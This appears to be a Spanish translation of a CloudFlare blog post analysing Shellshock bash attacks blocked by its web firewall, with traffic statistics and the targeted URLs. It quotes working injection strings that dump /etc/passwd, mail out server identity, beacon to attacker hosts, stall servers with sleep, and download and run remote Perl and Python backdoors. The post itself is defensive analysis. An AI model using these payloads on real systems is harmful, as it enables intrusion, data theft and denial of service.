El miércoles de la semana pasada, surgieron detalles del error de Shellshock bash. Este error inició una lucha para parchear computadoras, servidores, enrutadores, firewalls y otros dispositivos informáticos utilizando versiones vulnerables de bash.
CloudFlare implementó inmediatamente la protección para clientes Profesionales, Empresariales y Empresariales a través de nuestro Firewall de aplicaciones Web. El domingo, después de estudiar la magnitud del problema y observar los registros de ataques detenidos por nuestro WAF, decidimos implementar la protección para nuestros clientes del plan Gratuito también.
Desde entonces, hemos estado monitoreando los ataques que hemos detenido para comprender cómo se ven y de dónde vienen. Basándonos en nuestras observaciones, está claro que los hackers están explotando Shellshock en todo el mundo.
(CC BY 2.0 aussiegall)
Eject
El problema Shellshock es un ejemplo de vulnerabilidad de ejecución de código arbitrario (ACE). Por lo general, los ataques de vulnerabilidad ACE se ejecutan en programas que se están ejecutando y requieren una comprensión muy sofisticada de los aspectos internos de la ejecución de código, el diseño de memoria y el lenguaje ensamblador; en resumen, este tipo de ataque requiere un experto.
El atacante también utilizará una vulnerabilidad ACE para cargar o ejecutar un programa que les proporcione una forma sencilla de controlar la máquina objetivo. Esto se logra a menudo ejecutando un «shell». Un shell es una línea de comandos donde se pueden introducir y ejecutar comandos.
La vulnerabilidad Shellshock es un problema importante porque elimina la necesidad de conocimientos especializados y proporciona una forma simple (desafortunadamente, muy simple) de tomar el control de otra computadora (como un servidor web) y hacer que ejecute código.
Supongamos por un momento que desea atacar un servidor web y hacer que su unidad de CD o DVD se abra. En realidad, hay un comando en Linux que lo hará: /bin/eject. Si un servidor web es vulnerable a Shellshock, puede atacarlo agregando la cadena mágica () { :; }; a /bin/eject y luego enviando esa cadena al equipo de destino a través de HTTP. Normalmente, la cadena User-Agent identificaría el tipo de navegador que está utilizando, pero, en el caso de la vulnerabilidad Shellshock, se puede configurar para decir cualquier cosa.
Por ejemplo, si example.com era vulnerable, entonces
curl -H "User-Agent: () { :; }; /bin/eject" http://example.com/sería suficiente para expulsar la unidad de CD o DVD.
En el monitoreo de los ataques de Shellshock que hemos bloqueado, en realidad hemos visto a alguien intentando precisamente ese ataque. Por lo tanto, si ejecuta un servidor web y de repente encuentra un DVD expulsado, podría ser una indicación de que su máquina es vulnerable al Shellshock.
Por qué funciona ese ataque simple
Cuando un servidor web recibe una solicitud para una página, hay tres partes de la solicitud que pueden ser susceptibles al ataque Shellshock: la URL de la solicitud, los encabezados que se envían junto con la URL y lo que se conoce como «argumentos» (cuando ingresa su nombre y dirección en un sitio web, generalmente se enviarán como argumentos en la solicitud).
Por ejemplo, aquí hay una solicitud HTTP real que recupera la página de inicio de CloudFlare:
GET / HTTP/1.1Accept-Encoding: gzip,deflate,sdchAccept-Language: en-US,en;q=0.8,fr;q=0.6Cache-Control: no-cachePragma: no-cacheUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36Host: cloudflare.comEn este caso, la URL es / (la página principal) y los encabezados son Accept-EncodingAccept-Language, etc. Estos encabezados proporcionan al servidor web información sobre las capacidades de mi navegador web, mi idioma preferido, el sitio web que estoy buscando y el navegador que estoy usando.
No es raro que se conviertan en variables dentro de un servidor web para que el servidor web pueda examinarlas. (Es posible que el servidor web quiera saber cuál es mi idioma preferido para poder decidir cómo responderme).
Por ejemplo, dentro del servidor web que responde a la solicitud para la página de inicio de CloudFlare, es posible que las siguientes variables se definan copiando los encabezados de la solicitud carácter por carácter.
HTTP_ACCEPT_ENCODING=gzip,deflate,sdchHTTP_ACCEPT_LANGUAGE=en-US,en;q=0.8,fr;q=0.6HTTP_CACHE_CONTROL=no-cacheHTTP_PRAGMA=no-cacheHTTP_USER_AGENT=Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36HTTP_HOST=cloudflare.comMientras esas variables permanezcan dentro del software del servidor web y no se pasen a otros programas que se ejecutan en el servidor web, el servidor no es vulnerable.
Shellshock ocurre cuando las variables se pasan al shell llamado «bash». Bash es un shell común usado en sistemas Linux. Los servidores web a menudo necesitan ejecutar otros programas para responder a una solicitud, y es común que estas variables se pasen a bash u otro shell.
El problema de Shellshock ocurre específicamente cuando un atacante modifica la solicitud HTTP de origen para contener la cadena mágica () { :; }; descrita anteriormente.
Supongamos que el atacante cambia el encabezado del agente de usuario deMozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36 a simplemente() { :; }; /bin/eject. Esto crea la siguiente variable dentro de un servidor web:
HTTP_USER_AGENT=() { :; }; /bin/ejectSi el servidor web pasa esa variable a bash, se produce el problema de Shellshock. Esto se debe a que bash tiene reglas especiales para manejar una variable que comience con () { :; };. En lugar de tratar la variable HTTP_USER_AGENT como una secuencia de caracteres sin significado especial, bash la interpretará como un comando que necesita ser ejecutado (he omitido las explicaciones profundamente técnicas de por qué () { :; }; hace que bash se comporte así en aras de la claridad en este ensayo.)
El problema es que HTTP_USER_AGENT vino de la cabecera User-Agent que es algo que un atacante controla porque entra en el servidor web en una solicitud HTTP. Y esa es una receta para el desastre porque un atacante puede hacer que un servidor vulnerable ejecute cualquier comando que desee (ver ejemplos a continuación).
La solución es actualizar bash a una versión que no interprete () { :; }; de una manera especial.
De dónde provienen los ataques
Cuando implementamos la protección para todos los clientes, implementamos una métrica que nos permitía monitorear el número de ataques de Shellshock intentados. Todos recibieron un código de error prohibido HTTP 403, pero mantuvimos un registro de cuándo ocurrieron e información básica sobre el ataque.
Este gráfico muestra el número de ataques por segundo en la red de CloudFlare desde que se implementó la protección para todos los clientes.
Desde el momento en que CloudFlare convertido en nuestro Shellshock protección hasta esta mañana, estuvimos viendo de 10 a 15 ataques por segundo. En orden de volumen de ataque, estas solicitudes provenían de Francia (80%), Estados Unidos (7%), Países Bajos (7%), y luego volúmenes más pequeños de muchos otros países.
Alrededor de las 0100 del Pacífico (1000 en París) los ataques de Francia cesaron. Actualmente estamos viendo alrededor de 5 ataques por segundo. En el momento de escribir este artículo, hemos bloqueado más de 1,1 millones de ataques Shellshock.
Deja volar tu imaginación
Dado que es muy fácil atacar máquinas vulnerables con Shellshock, y debido a que una máquina vulnerable ejecutará cualquier comando que se le envíe, los atacantes han dejado volar su imaginación con formas de manipular computadoras de forma remota.
El WAF de CloudFlare registra la razón por la que bloqueó una solicitud, lo que nos permite extraer y analizar las cadenas de Shellshock reales que se están utilizando. Shellshock se utiliza principalmente para reconocimiento: para extraer información privada y para permitir a los atacantes obtener el control de los servidores.
La mayoría de los comandos Shellshock se inyectan utilizando los encabezados HTTP User-Agent y Referer, pero los atacantes también usan argumentos GET y POST y otros encabezados HTTP aleatorios.
Para extraer información privada, los atacantes utilizan un par de técnicas. Los ataques de extracción más simples están en la forma:
() {:;}; /bin/cat /etc/passwdQue lee el archivo de contraseña /etc/passwd, y lo agrega a la respuesta del servidor web. Por lo tanto, un atacante que inyecta este código a través de la vulnerabilidad Shellshock vería el archivo de contraseña volcado en su pantalla como parte de la página web devuelta.
En un ataque, simplemente se envían por correo electrónico archivos privados a sí mismos. Para obtener datos por correo electrónico, los atacantes utilizan el comando mail como este:
() { :;}; /bin/bash -c \"whoami | mail -s 'example.com l' Ese comando ejecuta primero whoami para averiguar el nombre del usuario que ejecuta el servidor web. Esto es especialmente útil porque si el servidor web se ejecuta como root (el superusuario que puede hacer cualquier cosa), el servidor será un objetivo particularmente rico.
Luego envía el nombre de usuario junto con el nombre del sitio web que está siendo atacado (example.com arriba) por correo electrónico. El nombre del sitio web aparece en la línea de asunto del correo electrónico.
En su tiempo libre, el atacante puede iniciar sesión en su correo electrónico y averiguar qué sitios eran vulnerables. La misma técnica de correo electrónico se puede utilizar para extraer datos como el archivo de contraseña.
(CC BY 2.0 JD Hancock)
Reconocimiento
El ataque más popular que hemos visto (alrededor del 83% de todos los ataques) se llama «reconocimiento». En los ataques de reconocimiento, el atacante envía un comando que enviará un mensaje a una máquina de terceros. La máquina de terceros compilará una lista de todas las máquinas vulnerables que se han puesto en contacto con ella.
En el pasado, hemos visto listas de máquinas comprometidas convertidas en redes de bots para ataques DDoS, spam u otros fines.
Una técnica de reconocimiento popular utiliza el comando ping para que una máquina vulnerable envíe un solo paquete (llamado ping) a un servidor de terceros que controla el atacante. La cadena de ataque se ve así:
() {:;}; ping -c 1 -p cb18cb3f7bca4441a595fcc1e240deb0 attacker-machine.comEl comando ping se usa normalmente para probar si una máquina está «viva» o en línea (una máquina viva responde con su propio ping). Si un servidor web es vulnerable a Shellshock, enviará un solo paquete ping (el -c 1) a la máquina atacante.com con una carga útil establecida por el -p. La carga útil es un ID único creado por el atacante para que pueda rastrear el ping hasta el sitio web vulnerable.
Otra técnica que se utiliza para identificar servidores vulnerables es hacer que el servidor web descargue una página web desde un equipo controlado por atacantes. El atacante puede buscar en los registros de su servidor web para averiguar qué máquina era vulnerable. Este ataque funciona enviando una cadena Shellshock como:
() {:;}; /usr/bin/wget http://attacker-controlled.com/ZXhhbXBsZS5jb21TaGVsbFNob2NrU2FsdA== >> /dev/null El atacante busca en el registro del servidor web de attacker-controlled.com para entradas. La página descargada es configurada por el atacante para revelar el nombre del sitio que está siendo atacado. El ZXhhbXBsZS5jb21TaGVsbFNob2NrU2FsdA== es en realidad un código que indica que el sitio atacado fue example.com.
ZXhhbXBsZS5jb21TaGVsbFNob2NrU2FsdA== es en realidad una cadena codificada en base64. Cuando se decodifica, lee:
example.comShellShockSalt A partir de esta cadena, el atacante puede averiguar si su ataque en el ejemplo.com tuvo éxito, y, si es así, pueden volver más tarde para explotar aún más ese sitio. Si bien he sustituido el dominio que era el objetivo, estamos viendo ejemplos reales en el comodín que usan ShellShockSalt como sal en el hash.
Denegación de servicio
Otro ataque de Shellshock utiliza esta cadena
() { :;}; /bin/sleep 20|/sbin/sleep 20|/usr/bin/sleep 20Intenta ejecutar el comando sleep de tres maneras diferentes (dado que los sistemas tienen configuraciones ligeramente diferentes, puede encontrarse suspensión en los directorios /bin o /sbin o /usr/bin). Cualquiera que sea la suspensión que ejecute, hace que el servidor espere 20 segundos antes de responder . Eso consumirá recursos en la máquina porque un subproceso o proceso que ejecute sleep no hará nada más durante 20 segundos.
Esta es quizás la negación de servicio más simple de todas. Los atacantes simplemente le dicen a la máquina que duerma un rato. Envíe suficientes comandos y la máquina podría estar atada sin hacer nada e incapaz de atender solicitudes legítimas.
(CC BY 2.0 peter castleton)
Tomar el control
Alrededor del 8% de los ataques que hemos visto hasta ahora han estado dirigidos a tomar directamente el control de un servidor. Los ataques de control remoto se ven así:
() { :;}; /bin/bash -c \"cd /tmp;wget http://213.x.x.x/ji;curl -O /tmp/ji http://213.x.x.x/ji ; perl /tmp/ji;rm -rf /tmp/ji\"Este comando intenta usar dos programas (wgety curl) para descargar un programa desde un servidor que controla el atacante. El programa está escrito en el lenguaje Perl, y una vez descargado se ejecuta inmediatamente. Este programa configura el acceso remoto para un atacante al servidor web vulnerable.
Otro ataque utiliza el lenguaje Python para configurar un programa que se puede usar para ejecutar de forma remota cualquier comando en la máquina vulnerable:
() { :;}; /bin/bash -c \"/usr/bin/env curl -s http://xxxxxxxxxxxxxxx.com/cl.py > /tmp/clamd_update; chmod +x /tmp/clamd_update; /tmp/clamd_update > /dev/null& sleep 5; rm -rf /tmp/clamd_update\"El programa descargado cl.py se hace como una actualización del programa antivirus ClamAV. Después de un retraso de 5 segundos, el ataque se limpia por sí mismo eliminando el archivo descargado (dejándolo funcionando solo en memoria).
(CC BY 2.0 Jeff Taylor)
Selección de destino
Mirando los sitios web que están siendo atacados y las URL que se solicitan, es posible hacer una conjetura educada de las aplicaciones web específicas que están siendo atacadas.
Las URL principales que hemos visto atacadas son: /(23.00%), /cgi-bin-sdb/printenv(15,12%), /cgi-mod/index.cgi (14,93%), /cgi-sys/entropysearch.cgi (15,20%) y/cgi-sys / defaultwebpage.cgi (14,59%). Algunas de estas direcciones URL son utilizadas por aplicaciones web populares e incluso por un dispositivo de hardware.
Parece que el 23% de los ataques se dirigen contra el software de control de alojamiento web cPanel, el 15% contra instalaciones antiguas de Apache y el 15% contra los productos de hardware Barracuda que tienen una interfaz basada en web.
Esto último es interesante porque resalta el hecho de que Shellshock no es solo un ataque a sitios web: es un ataque a cualquier cosa que se ejecute bash y sea accesible a través de Internet. Eso podría incluir dispositivos de hardware, decodificadores, computadoras portátiles, incluso, tal vez, teléfonos.